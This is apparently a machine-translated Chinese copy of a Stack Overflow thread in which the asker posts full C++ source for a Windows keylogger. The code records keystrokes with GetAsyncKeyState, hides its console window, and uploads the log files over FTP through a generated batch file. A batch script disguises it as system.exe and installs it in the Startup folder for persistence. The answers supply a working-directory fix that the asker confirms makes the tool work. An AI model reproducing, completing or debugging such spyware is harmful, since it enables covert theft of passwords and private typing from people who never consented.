程序无法写入文件

时间:2016-04-01 05:25:20

标签: c++ windows batch-file

我有一个用C ++编写的.exe程序,它输出一个txt和一个在运行时执行的.bat文件。当我手动运行程序时,程序运行正常。然后我将.exe放入具有此路径的启动文件夹

 %appdata%\Microsoft\Windows\Start Menu\Programs\Startup

我尝试在启动文件夹中手动执行.exe,程序运行正常。

然后我尝试重新启动计算机。主.exe工作正常,但所有文件输出都出错了。应该出现的.xt生成的txt和bat在启动文件夹中看不到。但是.exe运行正常。我认为仅仅是文件输出受到限制,我不知道。也许是关于权限的?但我的是管理员帐户。

我也尝试将.exe保存在以下目录中

%USERPROFILE%\sys\

我创建了sys \ folder

然后我创建了一个指向上面启动文件夹中的.exe的.lnk快捷方式。

我双击.lnk,程序运行正常,但奇怪的是.txt和.bat出现在启动文件夹而不是.exe实际所在的目录中。我希望文件出现在%USERPROFILE%\ sys \

但后来我尝试重新启动计算机。同样的问题,程序工作正常,但没有文件输出。

任何帮助表示感谢。

这是我的c ++代码,但我认为应该没问题。

#include <iostream>
#include <fstream>
#include <windows.h>
#include <Lmcons.h>
#include <time.h>
#include <sstream>
#include <string>
using namespace std;

string getFileName();
string getDate();

void upload()
{
    //rename
    string oldname = getFileName();
    string newname = getFileName() + "_" + getDate();
    rename(oldname.c_str(), newname.c_str());
    //upload
    ofstream bat("upload.bat");
    if (bat.is_open())
    {
        bat << "@echo off" << "\n";
        bat << "ftp -s:ftp.txt" << "\n";
        bat.close();
    }
    ofstream ftp("ftp.txt");
    if (ftp.is_open())
    {
        ftp << // I've hidden this for obvious reasons
        ftp.close();
    }
    system("upload.bat");
    remove("upload.bat");
    remove("ftp.txt");
}

void startup()
{
    ifstream file(getFileName().c_str());
    if (file.is_open())
    {
        file.close();
        upload();
    }
}

int Save (int key_stroke, string file);
void Stealth();

string getComputerName()
{
    TCHAR computerName[MAX_COMPUTERNAME_LENGTH + 1];
    DWORD size = sizeof(computerName) / sizeof(computerName[0]);
    GetComputerName(computerName, &size);
    return computerName;
}

string getUserName()
{
    TCHAR name [UNLEN + 1];
    DWORD size = UNLEN + 1;
    if (GetUserName( (TCHAR*)name, &size ))
    {
        return name;
    }
    else
    {
        return "nil";
    }
}

string getDate()
{
    time_t seconds;
    time(&seconds);
    std::stringstream ss;
    ss << seconds;
    std::string ts = ss.str();
    return ts;
}

string getFileName()
{
    string filename = getUserName() + "@" + getComputerName();
    return filename;
}

int main()
{
    //Stealth();
    startup();
    char i;
    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
          if (GetAsyncKeyState(i) == -32767)
          Save(i, getFileName());
        }
    }
    system ("PAUSE");
    return 0;
}

int Save (int key_stroke, string file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file.c_str(), "a+");
    cout << key_stroke << endl;
    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "[ENTER]");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == 20)
        fprintf(OUTPUT_FILE, "%s", "[CAPS]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 46)
        fprintf(OUTPUT_FILE, "%s", "[DEL]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    fclose (OUTPUT_FILE);
    return 0;
}

void Stealth()
{
 HWND Stealth;
 AllocConsole();
 Stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(Stealth,0);
}

这是我尝试创建.lnk快捷方式时的代码,也应该没问题。

md "%USERPROFILE%\sys\"
set copy="%~dp0system.exe"
set target="%USERPROFILE%\sys\"
xcopy /c "%copy%" "%target%" /i /r /f
set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\startup.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "%USERPROFILE%\sys\system.exe" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%
cscript /nologo %SCRIPT%
del %SCRIPT%
pause

2 个答案:

答案 0 :(得分:0)

如果您未指定绝对路径,则工作目录中将保存文件(如果权限允许)。这与实际可执行文件所在的目录不同。

这就是快捷方式也不起作用的原因。它有一个单独的工作目录设置,如果没有设置,它将不会被设置为可执行文件的位置。

您可以更改工作目录以匹配可执行文件的目录,或使用其他绝对路径来修复它。

答案 1 :(得分:0)

添加此功能

string ExePath()
{
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\\/" );
    return string( buffer ).substr( 0, pos);
}

并在main()

中设置工作目录
chdir(ExePath().c_str());

工作得很完美,谢谢。